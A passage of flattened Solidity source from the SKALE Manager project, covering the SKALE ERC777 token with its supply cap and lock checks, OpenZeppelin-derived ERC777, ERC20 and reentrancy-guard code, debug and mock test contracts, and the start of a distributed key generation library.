bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: AGPL-3.0-only /* IMintableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; interface IMintableToken { function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./interfaces/IMintableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) public ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return DelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) { return Context._msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE // import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; /* Added by SKALE */ import "../../Permissions.sol"; /* End of added by SKALE */ /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using SafeMath for uint256; using Address for address; IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping (address => mapping (address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name, string memory symbol, address[] memory defaultOperators ) public { _name = name; _symbol = symbol; _defaultOperatorsArray = defaultOperators; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send(address recipient, uint256 amount, bytes memory data) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor( address operator, address tokenHolder ) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); /* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */ _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); /* End of changed by SKALE */ // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve(address holder, address spender, uint256 value) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only /* IDelegatableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the SkaleToken contract. */ interface IDelegatableToken { /** * @dev Returns and updates the amount of locked tokens of a given account `wallet`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of delegated tokens of a given account `wallet`. */ function getAndUpdateDelegatedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of slashed tokens of a given account `wallet`. */ function getAndUpdateSlashedAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleTokenInternalTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../SkaleToken.sol"; contract SkaleTokenInternalTester is SkaleToken { constructor(address contractManagerAddress, address[] memory defOps) public SkaleToken(contractManagerAddress, defOps) // solhint-disable-next-line no-empty-blocks { } function getMsgData() external view returns (bytes memory) { return _msgData(); } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpersWithDebug.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../delegation/TimeHelpers.sol"; contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe { struct TimeShift { uint pointInTime; uint shift; } TimeShift[] private _timeShift; function skipTime(uint sec) external onlyOwner { if (_timeShift.length > 0) { _timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)})); } else { _timeShift.push(TimeShift({pointInTime: now, shift: sec})); } } function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } function timestampToMonth(uint timestamp) public view override returns (uint) { return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp))); } function monthToTimestamp(uint month) public view override returns (uint) { uint shiftedTimestamp = super.monthToTimestamp(month); if (_timeShift.length > 0) { return _findTimeBeforeTimeShift(shiftedTimestamp); } else { return shiftedTimestamp; } } // private function _getTimeShift(uint timestamp) private view returns (uint) { if (_timeShift.length > 0) { if (timestamp < _timeShift[0].pointInTime) { return 0; } else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) { return _timeShift[_timeShift.length.sub(1)].shift; } else { uint left = 0; uint right = _timeShift.length.sub(1); while (left + 1 < right) { uint middle = left.add(right).div(2); if (timestamp < _timeShift[middle].pointInTime) { right = middle; } else { left = middle; } } return _timeShift[left].shift; } } else { return 0; } } function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) { uint lastTimeShiftIndex = _timeShift.length.sub(1); if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift) < shiftedTimestamp) { return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift); } else { if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) { if (shiftedTimestamp < _timeShift[0].pointInTime) { return shiftedTimestamp; } else { return _timeShift[0].pointInTime; } } else { uint left = 0; uint right = lastTimeShiftIndex; while (left + 1 < right) { uint middle = left.add(right).div(2); if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) { left = middle; } else { right = middle; } } if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) { return shiftedTimestamp.sub(_timeShift[left].shift); } else { return _timeShift[right].pointInTime; } } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SafeMock.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract SafeMock is OwnableUpgradeSafe { constructor() public { OwnableUpgradeSafe.__Ownable_init(); multiSend(""); // this is needed to remove slither warning } function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner { proxyAdmin.transferOwnership(newOwner); } function destroy() external onlyOwner { selfdestruct(msg.sender); } /// @dev Sends multiple transactions and reverts all if one fails. /// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of /// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte), /// to as a address (=> 20 bytes), /// value as a uint256 (=> 32 bytes), /// data length as a uint256 (=> 32 bytes), /// data as bytes. /// see abi.encodePacked for more information on packed encoding function multiSend(bytes memory transactions) public { // solhint-disable-next-line no-inline-assembly assembly { let length := mload(transactions) let i := 0x20 // solhint-disable-next-line no-empty-blocks for { } lt(i, length) { } { // First byte of the data is the operation. // We shift by 248 bits (256 - 8 [operation byte]) it right // since mload will always load 32 bytes (a word). // This will also zero out unused data. let operation := shr(0xf8, mload(add(transactions, i))) // We offset the load address by 1 byte (operation byte) // We shift it right by 96 bits (256 - 160 [20 address bytes]) // to right-align the data and zero out unused data. let to := shr(0x60, mload(add(transactions, add(i, 0x01)))) // We offset the load address by 21 byte (operation byte + 20 address bytes) let value := mload(add(transactions, add(i, 0x15))) // We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes) let dataLength := mload(add(transactions, add(i, 0x35))) // We offset the load address by 85 byte // (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes) let data := add(transactions, add(i, 0x55)) let success := 0 switch operation case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) } case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) } if eq(success, 0) { revert(0, 0) } // Next entry starts at 85 byte + data length i := add(i, add(0x55, dataLength)) } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgAlright.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../ContractManager.sol"; import "../Wallets.sol"; import "../KeyStorage.sol"; /** * @title SkaleDkgAlright * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgAlright { event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex); event SuccessfulDKG(bytes32 indexed schainHash); function alright( bytes32 schainHash, uint fromNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage lastSuccessfulDKG ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); (uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainHash, fromNodeIndex, true); uint numberOfParticipant = channels[schainHash].n; require(numberOfParticipant == dkgProcess[schainHash].numberOfBroadcasted, "Still Broadcasting phase"); require( complaints[schainHash].fromNodeToComplaint != fromNodeIndex || (fromNodeIndex == 0 && complaints[schainHash].startComplaintBlockTimestamp == 0), "Node has already sent complaint" ); require(!dkgProcess[schainHash].completed[index], 